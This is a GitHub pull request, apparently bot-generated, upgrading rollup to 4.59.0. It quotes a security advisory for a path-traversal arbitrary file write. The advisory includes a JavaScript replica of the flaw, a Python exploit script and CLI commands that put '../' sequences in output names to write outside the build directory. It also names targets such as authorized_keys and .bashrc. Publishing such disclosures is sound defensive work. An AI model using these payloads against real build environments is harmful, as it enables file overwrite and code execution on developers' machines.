Skip to content

Update npm package rollup to v4.59.0 [SECURITY]#8489

Open
hash-worker[bot] wants to merge 1 commit intomainfrom
deps/js/npm-rollup-vulnerability
Open

Update npm package rollup to v4.59.0 [SECURITY]#8489
hash-worker[bot] wants to merge 1 commit intomainfrom
deps/js/npm-rollup-vulnerability

Conversation

@hash-worker
Copy link
Contributor

@hash-worker hash-worker bot commented Feb 26, 2026

This PR contains the following updates:

Package Change Age Confidence
rollup (source) 4.57.1 -> 4.59.0 age confidence

Warning

Some dependencies could not be looked up. Check the Dependency Dashboard for more information.

GitHub Vulnerability Alerts

CVE-2026-27606

Summary

The Rollup module bundler (specifically v4.x and present in current source) is vulnerable to an Arbitrary File Write via Path Traversal. Insecure file name sanitization in the core engine allows an attacker to control output filenames (e.g., via CLI named inputs, manual chunk aliases, or malicious plugins) and use traversal sequences (../) to overwrite files anywhere on the host filesystem that the build process has permissions for. This can lead to persistent Remote Code Execution (RCE) by overwriting critical system or user configuration files.

Details

The vulnerability is caused by the combination of two flawed components in the Rollup core:

  1. Improper Sanitization: In src/utils/sanitizeFileName.ts, the INVALID_CHAR_REGEX used to clean user-provided names for chunks and assets excludes the period (.) and forward/backward slashes (/, \).

    // src/utils/sanitizeFileName.ts (Line 3)
const INVALID_CHAR_REGEX = /[\u0000-\u001F"#$%&*+,:;<=>?[\]^`{|}\u007F]/g;

    This allows path traversal sequences like ../../ to pass through the sanitizer unmodified.

  2. Unsafe Path Resolution: In src/rollup/rollup.ts, the writeOutputFile function uses path.resolve to combine the output directory with the "sanitized" filename.

    // src/rollup/rollup.ts (Line 317)
const fileName = resolve(outputOptions.dir || dirname(outputOptions.file!), outputFile.fileName);

    Because path.resolve follows the ../ sequences in outputFile.fileName, the resulting path points outside of the intended output directory. The subsequent call to fs.writeFile completes the arbitrary write.

PoC

A demonstration of this vulnerability can be performed using the Rollup CLI or a configuration file.

Scenario: CLI Named Input Exploit

  1. Target a sensitive file location (for demonstration, we will use a file in the project root called pwned.js).
  2. Execute Rollup with a specifically crafted named input where the key contains traversal characters: 
    rollup --input "a/../../pwned.js=main.js" --dir dist
  3. Result: Rollup will resolve the output path for the entry chunk as dist + a/../../pwned.js, which resolves to the project root. The file pwned.js is created/overwritten outside the dist folder.

Reproduction Files provided :

  • vuln_app.js: Isolated logic exactly replicating the sanitization and resolution bug.
  • exploit.py: Automated script to run the PoC and verify the file escape.

vuln_app.js

const path = require('path');
const fs = require('fs');

/**
 * REPLICATED ROLLUP VULNERABILITY
 * 
 * 1. Improper Sanitization (from src/utils/sanitizeFileName.ts)
 * 2. Unsafe Path Resolution (from src/rollup/rollup.ts)
 */

function sanitize(name) {
    // The vulnerability: Rollup's regex fails to strip dots and slashes, 
    // allowing path traversal sequences like '../'
    return name.replace(/[\u0000-\u001F"#$%&*+,:;<=>?[\]^`{|}\u007F]/g, '_');
}

async function build(userSuppliedName) {
    const outputDir = path.join(__dirname, 'dist');
    const fileName = sanitize(userSuppliedName);

    // Vulnerability: path.resolve() follows traversal sequences in the filename
    const outputPath = path.resolve(outputDir, fileName);

    console.log(`[*] Target write path: ${outputPath}`);

    if (!fs.existsSync(path.dirname(outputPath))) {
        fs.mkdirSync(path.dirname(outputPath), { recursive: true });
    }

    fs.writeFileSync(outputPath, 'console.log("System Compromised!");');
    console.log(`[+] File written successfully.`);
}

build(process.argv[2] || 'bundle.js');

exploit.py

import subprocess
from pathlib import Path

def run_poc():
    # Target a file outside the 'dist' folder
    poc_dir = Path(__file__).parent
    malicious_filename = "../pwned_by_rollup.js"
    target_path = poc_dir / "pwned_by_rollup.js"

    print(f"=== Rollup Path Traversal PoC ===")
    print(f"[*] Malicious Filename: {malicious_filename}")
    
    # Trigger the vulnerable app
    subprocess.run(["node", "poc/vuln_app.js", malicious_filename])

    if target_path.exists():
        print(f"[SUCCESS] File escaped 'dist' folder!")
        print(f"[SUCCESS] Created: {target_path}")
        # target_path.unlink() # Cleanup
    else:
        print("[FAILED] Exploit did not work.")

if __name__ == "__main__":
    run_poc()

POC

rollup --input "bypass/../../../../../../../Users/vaghe/OneDrive/Desktop/pwned_desktop.js=main.js" --dir dist

image

Impact

This is a High level of severity vulnerability.

  • Arbitrary File Write: Attackers can overwrite sensitive files like ~/.ssh/authorized_keys, .bashrc, or system binaries if the build process has sufficient privileges.
  • Supply Chain Risk: Malicious third-party plugins or dependencies can use this to inject malicious code into other parts of a developer's machine during the build phase.
  • User Impact: Developers running builds on untrusted repositories are at risk of system compromise.

Release Notes

rollup/rollup (rollup)

v4.59.0

Compare Source

2026-02-22

Features
  • Throw when the generated bundle contains paths that would leave the output directory (#​6276)
Pull Requests

v4.58.0

Compare Source

2026-02-20

Features
  • Also support __NO_SIDE_EFFECTS__ annotation before variable declarations declaring function expressions (#​6272)
Pull Requests

Configuration

📅 Schedule: Branch creation - "" (UTC), Automerge - At any time (no schedule defined).

🚦 Automerge: Enabled.

♻ Rebasing: Whenever PR becomes conflicted, or you tick the rebase/retry checkbox.

🔕 Ignore: Close this PR and you won't be reminded about this update again.

  • If you want to rebase/retry this PR, check this box

This PR has been generated by Renovate Bot.

@hash-worker hash-worker bot enabled auto-merge February 26, 2026 16:55
@vercel
Copy link

vercel bot commented Feb 26, 2026

The latest updates on your projects. Learn more about Vercel for GitHub.

Project Deployment Actions Updated (UTC)
hash Building Building Preview, Comment Feb 26, 2026 4:55pm
hashdotdesign Building Building Preview, Comment Feb 26, 2026 4:55pm
hashdotdesign-tokens Building Building Preview, Comment Feb 26, 2026 4:55pm
petrinaut Building Building Preview, Comment Feb 26, 2026 4:55pm

@cursor
Copy link

cursor bot commented Feb 26, 2026 •
edited
Loading

PR Summary

Low Risk
Low risk dependency bump limited to the build toolchain, though it may affect bundling output/behavior in packages that use Rollup.

Overview
Updates the rollup devDependency from 4.57.1 to 4.59.0 for the TypeScript type-system package and the hash-backend-load test package.

Refreshes yarn.lock to pull in rollup@4.59.0 and its platform-specific @rollup/rollup-* binaries, aligning the repo with the security/bugfix release.

Written by Cursor Bugbot for commit d49eb22. This will update automatically on new commits. Configure here.

@github-actions github-actions bot added area/deps Relates to third-party dependencies (area) area/libs Relates to first-party libraries/crates/packages (area) area/tests New or updated tests labels Feb 26, 2026
@augmentcode
Copy link

augmentcode bot commented Feb 26, 2026

🤖 Augment PR Summary

Summary: This PR updates the Rollup bundler dependency to address a reported security advisory affecting Rollup v4.x.

Changes:

  • Bumped rollup from 4.57.1 to 4.59.0 in libs/@blockprotocol/type-system/typescript
  • Bumped rollup from 4.57.1 to 4.59.0 in tests/hash-backend-load
  • Updated the lockfile accordingly (yarn.lock)

Technical Notes: Rollup 4.59.0 includes validation to prevent generated bundle paths from escaping the configured output directory, mitigating a path traversal/arbitrary file write risk (CVE-2026-27606 / GHSA-mw96-cpmx-2vgc). If any existing build config/plugins relied on unusual output filenames, this version may now throw during bundling.

🤖 Was this summary useful? React with 👍 or 👎

augmentcode[bot]
augmentcode bot reviewed Feb 26, 2026
View reviewed changes
Copy link

@augmentcode augmentcode bot left a comment

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Review completed. No suggestions at this time.

Comment augment review to trigger a new review at any time.

@codspeed-hq
Copy link

codspeed-hq bot commented Feb 26, 2026

Merging this PR will not alter performance

✅ 68 untouched benchmarks
🗄️ 12 archived benchmarks run1

Comparing deps/js/npm-rollup-vulnerability (d49eb22) with main (4a9ec3b)2

Open in CodSpeed

Footnotes

  1. 12 benchmarks were run, but are now archived. If they were deleted in another branch, consider rebasing to remove them from the report. Instead if they were added back, click here to restore them. ↩

  2. No successful run was found on main (e7770d8) during the generation of this report, so 4a9ec3b was used instead as the comparison base. There might be some changes unrelated to this pull request in this report. ↩

@codecov
Copy link

codecov bot commented Feb 26, 2026 •
edited
Loading

Codecov Report

✅ All modified and coverable lines are covered by tests.
✅ Project coverage is 62.72%. Comparing base (4a9ec3b) to head (d49eb22).
⚠️ Report is 1 commits behind head on main.

Additional details and impacted files 
@@            Coverage Diff             @@
##             main    #8489      +/-   ##
==========================================
- Coverage   62.72%   62.72%   -0.01%     
==========================================
  Files        1302     1302              
  Lines      131687   131687              
  Branches     5493     5493              
==========================================
- Hits        82607    82606       -1     
- Misses      48171    48172       +1     
  Partials      909      909
Flag Coverage Δ
apps.hash-ai-worker-ts 1.40% <ø> (ø)
apps.hash-api 0.00% <ø> (ø)
blockprotocol.type-system 40.84% <ø> (ø)
local.claude-hooks 0.00% <ø> (ø)
local.harpc-client 51.24% <ø> (ø)
local.hash-graph-sdk 7.78% <ø> (ø)
local.hash-isomorphic-utils 0.00% <ø> (ø)
rust.antsi 0.00% <ø> (ø)
rust.error-stack 90.88% <ø> (ø)
rust.harpc-codec 84.70% <ø> (ø)
rust.harpc-net 96.14% <ø> (-0.02%) ⬇️
rust.harpc-tower 66.80% <ø> (ø)
rust.harpc-types 0.00% <ø> (ø)
rust.harpc-wire-protocol 92.23% <ø> (ø)
rust.hash-codec 72.76% <ø> (ø)
rust.hash-graph-api 2.86% <ø> (ø)
rust.hash-graph-authorization 62.34% <ø> (ø)
rust.hash-graph-postgres-store 27.53% <ø> (ø)
rust.hash-graph-store 37.86% <ø> (ø)
rust.hash-graph-temporal-versioning 47.95% <ø> (ø)
rust.hash-graph-types 0.00% <ø> (ø)
rust.hash-graph-validation 83.45% <ø> (ø)
rust.hashql-ast 87.25% <ø> (ø)
rust.hashql-compiletest 29.69% <ø> (ø)
rust.hashql-core 82.28% <ø> (ø)
rust.hashql-diagnostics 72.43% <ø> (ø)
rust.hashql-eval 69.13% <ø> (ø)
rust.hashql-hir 89.11% <ø> (ø)
rust.hashql-mir 92.07% <ø> (ø)
rust.hashql-syntax-jexpr 94.05% <ø> (ø)

Flags with carried forward coverage won't be shown. Click here to find out more.

☔ View full report in Codecov by Sentry.
📢 Have feedback on the report? Share it here.

🚀 New features to boost your workflow:
  • ❄️ Test Analytics: Detect flaky tests, report on failures, and find test suite problems.
  • 📦 JS Bundle Analysis: Save yourself from yourself by tracking and limiting bundle sizes in JS merges.

@graphite-app graphite-app bot requested a review from a team February 26, 2026 17:16
@github-actions
Copy link
Contributor

github-actions bot commented Feb 26, 2026

Benchmark results

@rust/hash-graph-benches – Integrations

policy_resolution_large

Function Value Mean Flame graphs
resolve_policies_for_actor user: empty, selectivity: high, policies: 2002 $$28.1 \mathrm{ms} \pm 187 \mathrm{μs}\left({\color{gray}-0.556 \mathrm{\%}}\right) $$ Flame Graph
resolve_policies_for_actor user: empty, selectivity: low, policies: 1 $$3.58 \mathrm{ms} \pm 15.6 \mathrm{μs}\left({\color{gray}-2.235 \mathrm{\%}}\right) $$ Flame Graph
resolve_policies_for_actor user: empty, selectivity: medium, policies: 1001 $$12.9 \mathrm{ms} \pm 81.5 \mathrm{μs}\left({\color{gray}-3.523 \mathrm{\%}}\right) $$ Flame Graph
resolve_policies_for_actor user: seeded, selectivity: high, policies: 3314 $$43.8 \mathrm{ms} \pm 322 \mathrm{μs}\left({\color{gray}-0.628 \mathrm{\%}}\right) $$ Flame Graph
resolve_policies_for_actor user: seeded, selectivity: low, policies: 1 $$14.8 \mathrm{ms} \pm 93.1 \mathrm{μs}\left({\color{lightgreen}-6.447 \mathrm{\%}}\right) $$ Flame Graph
resolve_policies_for_actor user: seeded, selectivity: medium, policies: 1526 $$24.4 \mathrm{ms} \pm 164 \mathrm{μs}\left({\color{gray}-3.224 \mathrm{\%}}\right) $$ Flame Graph
resolve_policies_for_actor user: system, selectivity: high, policies: 2078 $$28.8 \mathrm{ms} \pm 163 \mathrm{μs}\left({\color{gray}-0.529 \mathrm{\%}}\right) $$ Flame Graph
resolve_policies_for_actor user: system, selectivity: low, policies: 1 $$3.93 \mathrm{ms} \pm 19.1 \mathrm{μs}\left({\color{gray}0.249 \mathrm{\%}}\right) $$ Flame Graph
resolve_policies_for_actor user: system, selectivity: medium, policies: 1033 $$13.8 \mathrm{ms} \pm 89.3 \mathrm{μs}\left({\color{gray}-1.889 \mathrm{\%}}\right) $$ Flame Graph

policy_resolution_medium

Function Value Mean Flame graphs
resolve_policies_for_actor user: empty, selectivity: high, policies: 102 $$3.96 \mathrm{ms} \pm 24.4 \mathrm{μs}\left({\color{gray}-0.114 \mathrm{\%}}\right) $$ Flame Graph
resolve_policies_for_actor user: empty, selectivity: low, policies: 1 $$3.15 \mathrm{ms} \pm 16.4 \mathrm{μs}\left({\color{gray}-0.492 \mathrm{\%}}\right) $$ Flame Graph
resolve_policies_for_actor user: empty, selectivity: medium, policies: 51 $$3.51 \mathrm{ms} \pm 19.8 \mathrm{μs}\left({\color{gray}-0.598 \mathrm{\%}}\right) $$ Flame Graph
resolve_policies_for_actor user: seeded, selectivity: high, policies: 269 $$5.38 \mathrm{ms} \pm 31.6 \mathrm{μs}\left({\color{gray}-1.098 \mathrm{\%}}\right) $$ Flame Graph
resolve_policies_for_actor user: seeded, selectivity: low, policies: 1 $$3.75 \mathrm{ms} \pm 26.6 \mathrm{μs}\left({\color{gray}-0.286 \mathrm{\%}}\right) $$ Flame Graph
resolve_policies_for_actor user: seeded, selectivity: medium, policies: 107 $$4.31 \mathrm{ms} \pm 29.1 \mathrm{μs}\left({\color{gray}-0.858 \mathrm{\%}}\right) $$ Flame Graph
resolve_policies_for_actor user: system, selectivity: high, policies: 133 $$4.67 \mathrm{ms} \pm 26.1 \mathrm{μs}\left({\color{gray}0.251 \mathrm{\%}}\right) $$ Flame Graph
resolve_policies_for_actor user: system, selectivity: low, policies: 1 $$3.64 \mathrm{ms} \pm 21.1 \mathrm{μs}\left({\color{gray}0.519 \mathrm{\%}}\right) $$ Flame Graph
resolve_policies_for_actor user: system, selectivity: medium, policies: 63 $$4.26 \mathrm{ms} \pm 26.2 \mathrm{μs}\left({\color{gray}-0.291 \mathrm{\%}}\right) $$ Flame Graph

policy_resolution_none

Function Value Mean Flame graphs
resolve_policies_for_actor user: empty, selectivity: high, policies: 2 $$2.89 \mathrm{ms} \pm 19.1 \mathrm{μs}\left({\color{gray}-1.611 \mathrm{\%}}\right) $$ Flame Graph
resolve_policies_for_actor user: empty, selectivity: low, policies: 1 $$2.80 \mathrm{ms} \pm 12.5 \mathrm{μs}\left({\color{gray}-2.591 \mathrm{\%}}\right) $$ Flame Graph
resolve_policies_for_actor user: empty, selectivity: medium, policies: 1 $$2.94 \mathrm{ms} \pm 14.4 \mathrm{μs}\left({\color{gray}-4.231 \mathrm{\%}}\right) $$ Flame Graph
resolve_policies_for_actor user: system, selectivity: high, policies: 8 $$3.19 \mathrm{ms} \pm 14.9 \mathrm{μs}\left({\color{gray}-0.724 \mathrm{\%}}\right) $$ Flame Graph
resolve_policies_for_actor user: system, selectivity: low, policies: 1 $$3.01 \mathrm{ms} \pm 15.1 \mathrm{μs}\left({\color{gray}-1.059 \mathrm{\%}}\right) $$ Flame Graph
resolve_policies_for_actor user: system, selectivity: medium, policies: 3 $$3.31 \mathrm{ms} \pm 15.6 \mathrm{μs}\left({\color{gray}-1.300 \mathrm{\%}}\right) $$ Flame Graph

policy_resolution_small

Function Value Mean Flame graphs
resolve_policies_for_actor user: empty, selectivity: high, policies: 52 $$3.24 \mathrm{ms} \pm 18.6 \mathrm{μs}\left({\color{gray}-0.346 \mathrm{\%}}\right) $$ Flame Graph
resolve_policies_for_actor user: empty, selectivity: low, policies: 1 $$2.94 \mathrm{ms} \pm 11.4 \mathrm{μs}\left({\color{gray}-1.742 \mathrm{\%}}\right) $$ Flame Graph
resolve_policies_for_actor user: empty, selectivity: medium, policies: 25 $$3.11 \mathrm{ms} \pm 15.6 \mathrm{μs}\left({\color{gray}-0.659 \mathrm{\%}}\right) $$ Flame Graph
resolve_policies_for_actor user: seeded, selectivity: high, policies: 94 $$3.67 \mathrm{ms} \pm 18.9 \mathrm{μs}\left({\color{gray}-1.063 \mathrm{\%}}\right) $$ Flame Graph
resolve_policies_for_actor user: seeded, selectivity: low, policies: 1 $$3.22 \mathrm{ms} \pm 18.8 \mathrm{μs}\left({\color{gray}-1.188 \mathrm{\%}}\right) $$ Flame Graph
resolve_policies_for_actor user: seeded, selectivity: medium, policies: 26 $$3.46 \mathrm{ms} \pm 18.3 \mathrm{μs}\left({\color{gray}-0.903 \mathrm{\%}}\right) $$ Flame Graph
resolve_policies_for_actor user: system, selectivity: high, policies: 66 $$3.61 \mathrm{ms} \pm 21.2 \mathrm{μs}\left({\color{gray}-0.246 \mathrm{\%}}\right) $$ Flame Graph
resolve_policies_for_actor user: system, selectivity: low, policies: 1 $$3.21 \mathrm{ms} \pm 17.1 \mathrm{μs}\left({\color{gray}-2.319 \mathrm{\%}}\right) $$ Flame Graph
resolve_policies_for_actor user: system, selectivity: medium, policies: 29 $$3.51 \mathrm{ms} \pm 20.2 \mathrm{μs}\left({\color{gray}0.499 \mathrm{\%}}\right) $$ Flame Graph

read_scaling_complete

Function Value Mean Flame graphs
entity_by_id;one_depth 1 entities $$42.7 \mathrm{ms} \pm 243 \mathrm{μs}\left({\color{gray}0.428 \mathrm{\%}}\right) $$ Flame Graph
entity_by_id;one_depth 10 entities $$79.0 \mathrm{ms} \pm 303 \mathrm{μs}\left({\color{gray}-0.081 \mathrm{\%}}\right) $$ Flame Graph
entity_by_id;one_depth 25 entities $$45.9 \mathrm{ms} \pm 181 \mathrm{μs}\left({\color{gray}-3.403 \mathrm{\%}}\right) $$ Flame Graph
entity_by_id;one_depth 5 entities $$48.5 \mathrm{ms} \pm 308 \mathrm{μs}\left({\color{gray}-0.925 \mathrm{\%}}\right) $$ Flame Graph
entity_by_id;one_depth 50 entities $$56.2 \mathrm{ms} \pm 373 \mathrm{μs}\left({\color{gray}-3.987 \mathrm{\%}}\right) $$ Flame Graph
entity_by_id;two_depth 1 entities $$43.9 \mathrm{ms} \pm 198 \mathrm{μs}\left({\color{gray}-2.031 \mathrm{\%}}\right) $$ Flame Graph
entity_by_id;two_depth 10 entities $$426 \mathrm{ms} \pm 947 \mathrm{μs}\left({\color{gray}1.40 \mathrm{\%}}\right) $$ Flame Graph
entity_by_id;two_depth 25 entities $$98.4 \mathrm{ms} \pm 592 \mathrm{μs}\left({\color{gray}-1.435 \mathrm{\%}}\right) $$ Flame Graph
entity_by_id;two_depth 5 entities $$87.1 \mathrm{ms} \pm 383 \mathrm{μs}\left({\color{gray}-2.010 \mathrm{\%}}\right) $$ Flame Graph
entity_by_id;two_depth 50 entities $$319 \mathrm{ms} \pm 824 \mathrm{μs}\left({\color{red}10.4 \mathrm{\%}}\right) $$ Flame Graph
entity_by_id;zero_depth 1 entities $$15.8 \mathrm{ms} \pm 84.2 \mathrm{μs}\left({\color{gray}-1.960 \mathrm{\%}}\right) $$ Flame Graph
entity_by_id;zero_depth 10 entities $$16.1 \mathrm{ms} \pm 70.5 \mathrm{μs}\left({\color{gray}-1.831 \mathrm{\%}}\right) $$ Flame Graph
entity_by_id;zero_depth 25 entities $$16.4 \mathrm{ms} \pm 75.6 \mathrm{μs}\left({\color{lightgreen}-5.381 \mathrm{\%}}\right) $$ Flame Graph
entity_by_id;zero_depth 5 entities $$16.0 \mathrm{ms} \pm 70.0 \mathrm{μs}\left({\color{gray}-0.002 \mathrm{\%}}\right) $$ Flame Graph
entity_by_id;zero_depth 50 entities $$19.0 \mathrm{ms} \pm 105 \mathrm{μs}\left({\color{lightgreen}-5.795 \mathrm{\%}}\right) $$ Flame Graph

read_scaling_linkless

Function Value Mean Flame graphs
entity_by_id 1 entities $$15.8 \mathrm{ms} \pm 67.4 \mathrm{μs}\left({\color{gray}-4.441 \mathrm{\%}}\right) $$ Flame Graph
entity_by_id 10 entities $$15.8 \mathrm{ms} \pm 69.4 \mathrm{μs}\left({\color{lightgreen}-5.382 \mathrm{\%}}\right) $$ Flame Graph
entity_by_id 100 entities $$15.9 \mathrm{ms} \pm 74.1 \mathrm{μs}\left({\color{gray}-3.347 \mathrm{\%}}\right) $$ Flame Graph
entity_by_id 1000 entities $$16.4 \mathrm{ms} \pm 86.4 \mathrm{μs}\left({\color{gray}-4.930 \mathrm{\%}}\right) $$ Flame Graph
entity_by_id 10000 entities $$23.7 \mathrm{ms} \pm 151 \mathrm{μs}\left({\color{lightgreen}-5.086 \mathrm{\%}}\right) $$ Flame Graph

representative_read_entity

Function Value Mean Flame graphs
entity_by_id entity type ID: https://blockprotocol.org/@alice/types/entity-type/block/v/1 $$31.8 \mathrm{ms} \pm 284 \mathrm{μs}\left({\color{gray}-4.453 \mathrm{\%}}\right) $$ Flame Graph
entity_by_id entity type ID: https://blockprotocol.org/@alice/types/entity-type/book/v/1 $$31.3 \mathrm{ms} \pm 325 \mathrm{μs}\left({\color{lightgreen}-9.690 \mathrm{\%}}\right) $$ Flame Graph
entity_by_id entity type ID: https://blockprotocol.org/@alice/types/entity-type/building/v/1 $$32.1 \mathrm{ms} \pm 386 \mathrm{μs}\left({\color{lightgreen}-5.495 \mathrm{\%}}\right) $$ Flame Graph
entity_by_id entity type ID: https://blockprotocol.org/@alice/types/entity-type/organization/v/1 $$31.0 \mathrm{ms} \pm 241 \mathrm{μs}\left({\color{lightgreen}-5.430 \mathrm{\%}}\right) $$ Flame Graph
entity_by_id entity type ID: https://blockprotocol.org/@alice/types/entity-type/page/v/2 $$32.0 \mathrm{ms} \pm 313 \mathrm{μs}\left({\color{gray}-4.243 \mathrm{\%}}\right) $$ Flame Graph
entity_by_id entity type ID: https://blockprotocol.org/@alice/types/entity-type/person/v/1 $$31.5 \mathrm{ms} \pm 258 \mathrm{μs}\left({\color{gray}-4.335 \mathrm{\%}}\right) $$ Flame Graph
entity_by_id entity type ID: https://blockprotocol.org/@alice/types/entity-type/playlist/v/1 $$31.5 \mathrm{ms} \pm 246 \mathrm{μs}\left({\color{lightgreen}-6.362 \mathrm{\%}}\right) $$ Flame Graph
entity_by_id entity type ID: https://blockprotocol.org/@alice/types/entity-type/song/v/1 $$31.7 \mathrm{ms} \pm 283 \mathrm{μs}\left({\color{lightgreen}-5.923 \mathrm{\%}}\right) $$ Flame Graph
entity_by_id entity type ID: https://blockprotocol.org/@alice/types/entity-type/uk-address/v/1 $$32.2 \mathrm{ms} \pm 310 \mathrm{μs}\left({\color{lightgreen}-6.982 \mathrm{\%}}\right) $$ Flame Graph

representative_read_entity_type

Function Value Mean Flame graphs
get_entity_type_by_id Account ID: bf5a9ef5-dc3b-43cf-a291-6210c0321eba $$9.55 \mathrm{ms} \pm 82.8 \mathrm{μs}\left({\color{gray}1.26 \mathrm{\%}}\right) $$ Flame Graph

representative_read_multiple_entities

Function Value Mean Flame graphs
entity_by_property traversal_paths=0 0 $$97.2 \mathrm{ms} \pm 517 \mathrm{μs}\left({\color{gray}0.334 \mathrm{\%}}\right) $$
entity_by_property traversal_paths=255 1,resolve_depths=inherit:1;values:255;properties:255;links:127;link_dests:126;type:true $$151 \mathrm{ms} \pm 656 \mathrm{μs}\left({\color{gray}2.40 \mathrm{\%}}\right) $$
entity_by_property traversal_paths=2 1,resolve_depths=inherit:0;values:0;properties:0;links:0;link_dests:0;type:false $$103 \mathrm{ms} \pm 461 \mathrm{μs}\left({\color{gray}-2.681 \mathrm{\%}}\right) $$
entity_by_property traversal_paths=2 1,resolve_depths=inherit:0;values:0;properties:0;links:1;link_dests:0;type:true $$112 \mathrm{ms} \pm 520 \mathrm{μs}\left({\color{gray}-2.187 \mathrm{\%}}\right) $$
entity_by_property traversal_paths=2 1,resolve_depths=inherit:0;values:0;properties:2;links:1;link_dests:0;type:true $$122 \mathrm{ms} \pm 528 \mathrm{μs}\left({\color{gray}-1.852 \mathrm{\%}}\right) $$
entity_by_property traversal_paths=2 1,resolve_depths=inherit:0;values:2;properties:2;links:1;link_dests:0;type:true $$127 \mathrm{ms} \pm 648 \mathrm{μs}\left({\color{gray}-1.781 \mathrm{\%}}\right) $$
link_by_source_by_property traversal_paths=0 0 $$90.1 \mathrm{ms} \pm 504 \mathrm{μs}\left({\color{gray}1.15 \mathrm{\%}}\right) $$
link_by_source_by_property traversal_paths=255 1,resolve_depths=inherit:1;values:255;properties:255;links:127;link_dests:126;type:true $$115 \mathrm{ms} \pm 589 \mathrm{μs}\left({\color{gray}-3.095 \mathrm{\%}}\right) $$
link_by_source_by_property traversal_paths=2 1,resolve_depths=inherit:0;values:0;properties:0;links:0;link_dests:0;type:false $$96.8 \mathrm{ms} \pm 580 \mathrm{μs}\left({\color{gray}0.297 \mathrm{\%}}\right) $$
link_by_source_by_property traversal_paths=2 1,resolve_depths=inherit:0;values:0;properties:0;links:1;link_dests:0;type:true $$109 \mathrm{ms} \pm 1.31 \mathrm{ms}\left({\color{gray}3.08 \mathrm{\%}}\right) $$
link_by_source_by_property traversal_paths=2 1,resolve_depths=inherit:0;values:0;properties:2;links:1;link_dests:0;type:true $$105 \mathrm{ms} \pm 669 \mathrm{μs}\left({\color{gray}-2.382 \mathrm{\%}}\right) $$
link_by_source_by_property traversal_paths=2 1,resolve_depths=inherit:0;values:2;properties:2;links:1;link_dests:0;type:true $$107 \mathrm{ms} \pm 756 \mathrm{μs}\left({\color{gray}-0.669 \mathrm{\%}}\right) $$

scenarios

Function Value Mean Flame graphs
full_test query-limited $$135 \mathrm{ms} \pm 532 \mathrm{μs}\left({\color{red}5.24 \mathrm{\%}}\right) $$ Flame Graph
full_test query-unlimited $$138 \mathrm{ms} \pm 533 \mathrm{μs}\left({\color{red}5.12 \mathrm{\%}}\right) $$ Flame Graph
linked_queries query-limited $$107 \mathrm{ms} \pm 554 \mathrm{μs}\left({\color{gray}1.10 \mathrm{\%}}\right) $$ Flame Graph
linked_queries query-unlimited $$609 \mathrm{ms} \pm 2.94 \mathrm{ms}\left({\color{gray}4.70 \mathrm{\%}}\right) $$ Flame Graph

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment

Reviewers

1 more reviewer

@augmentcode augmentcode[bot] augmentcode[bot] left review comments

Reviewers whose approvals may not affect merge requirements

At least 1 approving review is required to merge this pull request.

Assignees

No one assigned

Labels

area/deps Relates to third-party dependencies (area) area/libs Relates to first-party libraries/crates/packages (area) area/tests New or updated tests

Milestone

No milestone

Development

Successfully merging this pull request may close these issues.

0 participants